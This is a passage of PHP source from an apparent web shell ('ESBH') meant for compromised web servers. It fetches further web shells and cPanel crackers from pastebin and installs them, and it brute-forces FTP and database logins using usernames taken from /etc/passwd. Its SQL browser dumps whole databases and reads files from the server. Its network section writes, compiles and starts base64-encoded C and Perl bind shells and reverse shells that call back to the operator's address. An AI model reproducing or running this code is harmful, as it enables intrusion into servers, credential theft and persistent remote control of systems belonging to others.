1267 download_remote_file('http://pastebin.com/raw/R471g6WW', realpath("./ESBH-tools") . '/1337w0rm.php');
1268 header("location:./ESBH-tools/1337w0rm.php");
1269 }
1270 if (isset($_POST['X_Cpanel'])) {
1271 download_remote_file('http://pastebin.com/raw/nEEBkZVi', realpath("./ESBH-tools") . '/X_Cpanel.php');
1272 header("location:./ESBH-tools/X_Cpanel.php");
1273 }
1274 if (isset($_POST['iTSecTeam'])) {
1275 download_remote_file('http://pastebin.com/raw/a4PESNv5', realpath("./ESBH-tools") . '/iTSecTeam.php');
1276 header("location:./ESBH-tools/iTSecTeam.php");
1277 }
1278 if (isset($_POST['KWG_Cpanel'])) {
1279 download_remote_file('http://pastebin.com/raw/N4Pm5qut', realpath("./ESBH-tools") . '/KWG_Cpanel.php');
1280 header("location:./ESBH-tools/KWG_Cpanel.php");
1281 }
1282 if (isset($_POST['Jumping'])) {
1283 download_remote_file('http://pastebin.com/raw/RXW75CaY', realpath("./ESBH-tools") . '/Jumping_Shell.php');
1284 header("location:./ESBH-tools/Jumping_Shell.php");
1285 }
1286 if (isset($_POST['DBkiss'])) {
1287 download_remote_file('http://pastebin.com/raw/u2RkpxpY', realpath("./ESBH-tools") . '/DBkiss.php');
1288 header("location:./ESBH-tools/DBkiss.php");
1289 }
1290 if (isset($_POST['ESBH_Jumper'])) {
1291 download_remote_file('http://pastebin.com/raw/eiHS6gkF', realpath("./ESBH-tools") . '/ESBH_Jumper.php');
1292 header("location:./ESBH-tools/ESBH_Jumper.php");
1293 }
1294 if (isset($_POST['TCA_Shell'])) {
1295 download_remote_file('http://pastebin.com/raw/9WAuX0iR', realpath("./ESBH-tools") . '/TCA_Shell.php');
1296 header("location:./ESBH-tools/TCA_Shell.php");
1297 }
1298 if (isset($_POST['Zone_H'])) {
1299 download_remote_file('http://pastebin.com/raw/mT7zJDPQ', realpath("./ESBH-tools") . '/Zone_H.php');
1300 header("location:./ESBH-tools/Zone_H.php");
1301 }
1302
1303
1304
1305function actionImportScripts() {
1306 printHeader();
1307 mkdir('ESBH-tools', 0755);
1308 chdir('ESBH-tools');
1309echo '<center><h1>.:: Script Importer By R3liGiOus HuNt3r ::.</h1></center><div class=content>';
1310echo '<table border="1px" align="center" cellpadding="10"><center><h3>.:: Click on Import to open the Script ::.</h3></center>';
1311
1312echo '<td align="center" height=35><b>
1313 <font color=aqua>Dhanush Shell </font><font color="red">( Username:-Dhanush Password:-Dhanush )</font><br></td>
1314 <td align="center" height=35>
1315 <form action ="" method="post"><input type = "submit" name="dhanush" value ="Import"></td>';
1316
1317echo '<tr><td align="center" height=35><b>
1318 <font color=aqua>dhanush I-47 </font><font color="red">( Username:-Dhanush Password:-Dhanush )</font><br></td>
1319 <td align="center" height=35>
1320
1321 <form action ="" method="post"><input type = "submit" name="dhanush_I-47" value ="Import"></a></td></tr>';
1322
1323echo '<tr><td align="center" height=35><b>
1324 <font color=aqua>TCA Shell v3</font><font color="red">( Username:-ESBH Password:-ErrOr3 )</font><br></td>
1325 <td align="center" height=35>
1326 <form action ="" method="post"><input type = "submit" name="TCA_Shell" value ="Import"></a></td></tr>';
1327
1328echo '<tr><td align="center" height=35><b>
1329 <font color=aqua>AnonGhost Bypass Shell</font><font color="red">( Password:-AnonGhost )</font><br></td>
1330 <td align="center" height=35>
1331
1332 <form action ="" method="post"><input type = "submit" name="AnonGhost" value ="Import"></a></td></tr>';
1333
1334echo '<tr><tr><td align="center" height=35><b>
1335 <font color=aqua>ESBH Mini Shell v2.0</font><br></td>
1336 <td align="center" height=35>
1337
1338 <form action ="" method="post"><input type = "submit" name="mini" value ="Import"></a></td></tr>';
1339
1340echo '<tr><td align="center" height=35><b>
1341 <font color=aqua>Jijle3 Shell</font><br></td>
1342 <td align="center" height=35>
1343
1344 <form action ="" method="post"><input type = "submit" name="Jijle3" value ="Import"></a></td></tr>';
1345
1346echo '<tr><td align="center" height=35><b>
1347 <font color=aqua>Alfa Shell</font><br></td>
1348 <td align="center" height=35>
1349
1350 <form action ="" method="post"><input type = "submit" name="Alfa" value ="Import"></a></td></tr>';
1351
1352echo '<tr><td align="center" height=35><b>
1353 <font color=aqua>WSO-2.8</font><br></td>
1354 <td align="center" height=35>
1355
1356 <form action ="" method="post"><input type = "submit" name="wso" value ="Import"></a></td></tr>';
1357
1358echo '<tr><td align="center" height=35><b>
1359 <font color=aqua>B374k Shell</font><br></td>
1360 <td align="center" height=35>
1361
1362 <form action ="" method="post"><input type = "submit" name="B374k" value ="Import"></a></td></tr>';
1363
1364echo '<tr><td align="center" height=35><b>
1365 <font color=aqua>Black Mini Shell</font><br></td>
1366 <td align="center" height=35>
1367
1368 <form action ="" method="post"><input type = "submit" name="Black_Mini" value ="Import"></a></td></tr>';
1369
1370echo '<tr><td align="center" height=35><b>
1371 <font color=aqua>Raz Tiny Shell</font><br></td>
1372 <td align="center" height=35>
1373
1374 <form action ="" method="post"><input type = "submit" name="Raz_Tiny" value ="Import"></a></td></tr>';
1375
1376echo '<tr><td align="center" height=35><b>
1377 <font color=aqua>Madspot Shell</font><br></td><td align="center" height=35>
1378 <form action ="" method="post"><input type = "submit" name="madspot" value ="Import"></a></td></tr>';
1379
1380echo '<tr><td align="center" height=35><b>
1381 <font color=aqua>K2LL33D Shell</font><br></td><td align="center" height=35>
1382 <form action ="" method="post"><input type = "submit" name="K2LL33D" value ="Import"></a></td></tr>';
1383
1384echo '<tr><td align="center" height=35><b>
1385 <font color=aqua>1337 w0rm cPanel Cracker</font><br></td><td align="center" height=35>
1386 <form action ="" method="post"><input type = "submit" name="1337w0rm" value ="Import"></a></td></tr>';
1387
1388echo '<tr><td align="center" height=35><b>
1389 <font color=aqua>X-Cpanel Cracker</font><br></td><td align="center" height=35>
1390 <form action ="" method="post"><input type = "submit" name="X_Cpanel" value ="Import"></a></td></tr>';
1391
1392echo '<tr><td align="center" height=35><b>
1393 <font color=aqua>iTSecTeam Shell</font><br></td><td align="center" height=35>
1394 <form action ="" method="post"><input type = "submit" name="iTSecTeam" value ="Import"></a></td></tr>';
1395
1396echo '<tr><td align="center" height=35><b>
1397 <font color=aqua>KWG Cpanel Cracker</font><br></td><td align="center" height=35>
1398 <form action ="" method="post"><input type = "submit" name="KWG_Cpanel" value ="Import"></a></td></tr>';
1399
1400echo '<tr><td align="center" height=35><b>
1401 <font color=aqua>Jumping Shell</font><br></td><td align="center" height=35>
1402 <form action ="" method="post"><input type = "submit" name="Jumping" value ="Import"></a></td></tr>';
1403
1404echo '<tr><td align="center" height=35><b>
1405 <font color=aqua>DBkiss SQl Connect</font><br></td><td align="center" height=35>
1406 <form action ="" method="post"><input type = "submit" name="DBkiss" value ="Import"></a></td></tr>';
1407
1408echo '<tr><td align="center" height=35><b>
1409 <font color=aqua>ESBH Jumper</font><br></td><td align="center" height=35>
1410 <form action ="" method="post"><input type = "submit" name="ESBH_Jumper" value ="Import"></a></td></tr>';
1411
1412echo '<tr><td align="center" height=35><b>
1413 <font color=aqua>Zone-H Mass Poster</font><br></td><td align="center" height=35>
1414 <form action ="" method="post"><input type = "submit" name="Zone_H" value ="Import"></a></td></tr>';
1415
1416echo '</table>';
1417echo '</div>';
1418
1419 printFooter();
1420}
1421
1422
1423function actionBruteforce() {
1424 printHeader();
1425 if( isset($_POST['proto']) ) {
1426 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1427 if( $_POST['proto'] == 'ftp' ) {
1428 function bruteForce($ip,$port,$login,$pass) {
1429 $fp = @ftp_connect($ip, $port?$port:21);
1430 if(!$fp) return false;
1431 $res = @ftp_login($fp, $login, $pass);
1432 @ftp_close($fp);
1433 return $res;
1434 }
1435 } elseif( $_POST['proto'] == 'mysql' ) {
1436 function bruteForce($ip,$port,$login,$pass) {
1437 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1438 @mysql_close($res);
1439 return $res;
1440 }
1441 } elseif( $_POST['proto'] == 'pgsql' ) {
1442 function bruteForce($ip,$port,$login,$pass) {
1443 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1444 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1445 @pg_close($res);
1446 return $res;
1447 }
1448 }
1449 $success = 0;
1450 $attempts = 0;
1451 $server = explode(":", $_POST['server']);
1452 if($_POST['type'] == 1) {
1453 $temp = @file('/etc/passwd');
1454 if( is_array($temp) )
1455 foreach($temp as $line) {
1456 $line = explode(":", $line);
1457 ++$attempts;
1458 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1459 $success++;
1460 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1461 }
1462 if(@$_POST['reverse']) {
1463 $tmp = "";
1464 for($i=strlen($line[0])-1; $i>=0; --$i)
1465 $tmp .= $line[0][$i];
1466 ++$attempts;
1467 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1468 $success++;
1469 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1470 }
1471 }
1472 }
1473 } elseif($_POST['type'] == 2) {
1474 $temp = @file($_POST['dict']);
1475 if( is_array($temp) )
1476 foreach($temp as $line) {
1477 $line = trim($line);
1478 ++$attempts;
1479 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1480 $success++;
1481 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1482 }
1483 }
1484 }
1485 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1486 }
1487 echo '<h1>FTP Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1488 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1489 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1490 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1491 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1492 .'<span>Server:port</span></td>'
1493 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1494 .'<tr><td><span>Brute type</span></td>'
1495 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1496 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1497 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1498 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1499 .'<td><input type=text name=login value="ErrOr"></td></tr>'
1500 .'<tr><td><span>Dictionary</span></td>'
1501 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1502 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1503 echo '</div>';
1504 printFooter();
1505}
1506
1507function actionSql() {
1508 class DbClass {
1509 var $type;
1510 var $link;
1511 var $res;
1512 function DbClass($type) {
1513 $this->type = $type;
1514 }
1515 function connect($host, $user, $pass, $dbname){
1516 switch($this->type) {
1517 case 'mysql':
1518 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1519 break;
1520 case 'pgsql':
1521 $host = explode(':', $host);
1522 if(!$host[1]) $host[1]=5432;
1523 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1524 break;
1525 }
1526 return false;
1527 }
1528 function selectdb($db) {
1529 switch($this->type) {
1530 case 'mysql':
1531 if (@mysql_select_db($db))return true;
1532 break;
1533 }
1534 return false;
1535 }
1536 function query($str) {
1537 switch($this->type) {
1538 case 'mysql':
1539 return $this->res = @mysql_query($str);
1540 break;
1541 case 'pgsql':
1542 return $this->res = @pg_query($this->link,$str);
1543 break;
1544 }
1545 return false;
1546 }
1547 function fetch() {
1548 $res = func_num_args()?func_get_arg(0):$this->res;
1549 switch($this->type) {
1550 case 'mysql':
1551 return @mysql_fetch_assoc($res);
1552 break;
1553 case 'pgsql':
1554 return @pg_fetch_assoc($res);
1555 break;
1556 }
1557 return false;
1558 }
1559 function listDbs() {
1560 switch($this->type) {
1561 case 'mysql':
1562 return $this->res = @mysql_list_dbs($this->link);
1563 break;
1564 case 'pgsql':
1565 return $this->res = $this->query("SELECT datname FROM pg_database");
1566 break;
1567 }
1568 return false;
1569 }
1570 function listTables() {
1571 switch($this->type) {
1572 case 'mysql':
1573 return $this->res = $this->query('SHOW TABLES');
1574 break;
1575 case 'pgsql':
1576 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1577 break;
1578 }
1579 return false;
1580 }
1581 function error() {
1582 switch($this->type) {
1583 case 'mysql':
1584 return @mysql_error($this->link);
1585 break;
1586 case 'pgsql':
1587 return @pg_last_error($this->link);
1588 break;
1589 }
1590 return false;
1591 }
1592 function setCharset($str) {
1593 switch($this->type) {
1594 case 'mysql':
1595 if(function_exists('mysql_set_charset'))
1596 return @mysql_set_charset($str, $this->link);
1597 else
1598 $this->query('SET CHARSET '.$str);
1599 break;
1600 case 'mysql':
1601 return @pg_set_client_encoding($this->link, $str);
1602 break;
1603 }
1604 return false;
1605 }
1606 function dump($table) {
1607 switch($this->type) {
1608 case 'mysql':
1609 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1610 $create = mysql_fetch_array($res);
1611 echo $create[1].";\n\n";
1612 $this->query('SELECT * FROM `'.$table.'`');
1613 while($item = $this->fetch()) {
1614 $columns = array();
1615 foreach($item as $k=>$v) {
1616 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1617 $columns[] = "`".$k."`";
1618 }
1619 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1620 }
1621 break;
1622 case 'pgsql':
1623 $this->query('SELECT * FROM '.$table);
1624 while($item = $this->fetch()) {
1625 $columns = array();
1626 foreach($item as $k=>$v) {
1627 $item[$k] = "'".addslashes($v)."'";
1628 $columns[] = $k;
1629 }
1630 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1631 }
1632 break;
1633 }
1634 return false;
1635 }
1636 };
1637 $db = new DbClass(@$_POST['type']);
1638 if(@$_POST['p2']=='download') {
1639 ob_start("ob_gzhandler", 4096);
1640 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1641 $db->selectdb($_POST['sql_base']);
1642 header("Content-Disposition: attachment; filename=dump.sql");
1643 header("Content-Type: text/plain");
1644 foreach($_POST['tbl'] as $v)
1645 $db->dump($v);
1646 exit;
1647 }
1648 printHeader();
1649 echo '<h1>Sql Browser</h1><div class=content>
1650 <form name="sf" method="post">
1651 <table cellpadding="2" cellspacing="0">
1652 <tr>
1653 <td>Type</td>
1654 <td>Host</td>
1655 <td>User</td>
1656 <td>Password</td>
1657 <td>Database</td>
1658 <td></td>
1659 </tr>
1660 <tr>
1661 <input type=hidden name=a value=Sql>
1662 <input type=hidden name=p1 value=\'query\'>
1663 <input type=hidden name=p2>
1664 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1665 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1666 <td>
1667 <select name=\'type\'>
1668 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
1669 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
1670 </select></td>
1671 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
1672 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
1673 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
1674 <td>';
1675 $tmp = "<input type=text name=sql_base value=''>";
1676 if(isset($_POST['sql_host'])){
1677 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1678 switch($_POST['charset']) {
1679 case "Windows-1251": $db->setCharset('cp1251'); break;
1680 case "UTF-8": $db->setCharset('utf8'); break;
1681 case "KOI8-R": $db->setCharset('koi8r'); break;
1682 case "KOI8-U": $db->setCharset('koi8u'); break;
1683 case "cp866": $db->setCharset('cp866'); break;
1684 }
1685 $db->listDbs();
1686 echo "<select name=sql_base><option value=''></option>";
1687 while($item = $db->fetch()) {
1688 list($key, $value) = each($item);
1689 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1690 }
1691 echo '</select>';
1692 }
1693 else echo $tmp;
1694 }else
1695 echo $tmp;
1696 echo '</td>
1697 <td><input type=submit value=">>"></td>
1698 </tr>
1699 </table>
1700 <script>
1701 function st(t,l) {
1702 document.sf.p1.value = \'select\';
1703 document.sf.p2.value = t;
1704 if(l!=null)document.sf.p3.value = l;
1705 document.sf.submit();
1706 }
1707 function is() {
1708 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
1709 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
1710 }
1711 </script>';
1712 if(isset($db) && $db->link){
1713 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1714 if(!empty($_POST['sql_base'])){
1715 $db->selectdb($_POST['sql_base']);
1716 echo "<tr><td width=1 style='border-top:1px solid #82C0FF;border-right:2px solid #82C0FF;'><span>Tables:</span><br><br>";
1717 $tbls_res = $db->listTables();
1718 while($item = $db->fetch($tbls_res)) {
1719 list($key, $value) = each($item);
1720 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1721 $value = htmlspecialchars($value);
1722 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1723 }
1724 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:1px solid #82C0FF;'>";
1725 if(@$_POST['p1'] == 'select') {
1726 $_POST['p1'] = 'query';
1727 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1728 $num = $db->fetch();
1729 $num = $num['n'];
1730 echo "<span>".$_POST['p2']."</span> ($num) ";
1731 for($i=0;$i<($num/30);$i++)
1732 if($i != (int)$_POST['p3'])
1733 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1734 else
1735 echo ($i+1)," ";
1736 if($_POST['type']=='pgsql')
1737 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1738 else
1739 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1740 echo "<br><br>";
1741 }
1742 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1743 $db->query(@$_POST['p3']);
1744 if($db->res !== false) {
1745 $title = false;
1746 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1747 $line = 1;
1748 while($item = $db->fetch()) {
1749 if(!$title) {
1750 echo '<tr>';
1751 foreach($item as $key => $value)
1752 echo '<th>'.$key.'</th>';
1753 reset($item);
1754 $title=true;
1755 echo '</tr><tr>';
1756 $line = 2;
1757 }
1758 echo '<tr class="l'.$line.'">';
1759 $line = $line==1?2:1;
1760 foreach($item as $key => $value) {
1761 if($value == null)
1762 echo '<td><i>null</i></td>';
1763 else
1764 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1765 }
1766 echo '</tr>';
1767 }
1768 echo '</table>';
1769 } else {
1770 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1771 }
1772 }
1773 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1774 echo "</td></tr>";
1775 }
1776 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1777 if(@$_POST['p1'] == 'loadfile') {
1778 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1779 $file = $db->fetch();
1780 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1781 }
1782 }
1783 echo '</div>';
1784 printFooter();
1785}
1786
1787function actionNetwork() {
1788 printHeader();
1789 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1790 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1791 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1792 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1793
1794 echo '<h1>Network Tools</h1><div class=content>
1795 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1796 <br /><span>Bind port to /bin/sh</span><br/>
1797 Port: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\' value=\'ErrOr\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
1798 </form>
1799 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1800 <br /><br /><span>Back-connect to</span><br/>
1801 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
1802 </form><br>';
1803 if(isset($_POST['p1'])) {
1804 function cf($f,$t) {
1805 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1806 if($w) {
1807 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1808 @fclose($w);
1809 }
1810 }
1811 if($_POST['p1'] == 'bpc') {
1812 cf("/tmp/bp.c",$bind_port_c);
1813 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1814 @unlink("/tmp/bp.c");
1815 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1816 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
1817 }
1818 if($_POST['p1'] == 'bpp') {
1819 cf("/tmp/bp.pl",$bind_port_p);
1820 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1821 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
1822 }
1823 if($_POST['p1'] == 'bcc') {
1824 cf("/tmp/bc.c",$back_connect_c);
1825 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1826 @unlink("/tmp/bc.c");
1827 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1828 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
1829 }
1830 if($_POST['p1'] == 'bcp') {
1831 cf("/tmp/bc.pl",$back_connect_p);
1832 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1833 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
1834 }
1835 }
1836 echo '</div>';
1837 printFooter();
1838}
1839
1840function actionPortScanner() {
1841 printHeader();
1842 echo '<h1>Port Scanner</h1>';
1843 echo '<div class="content">';
1844 echo '<form action="" method="post">';
1845
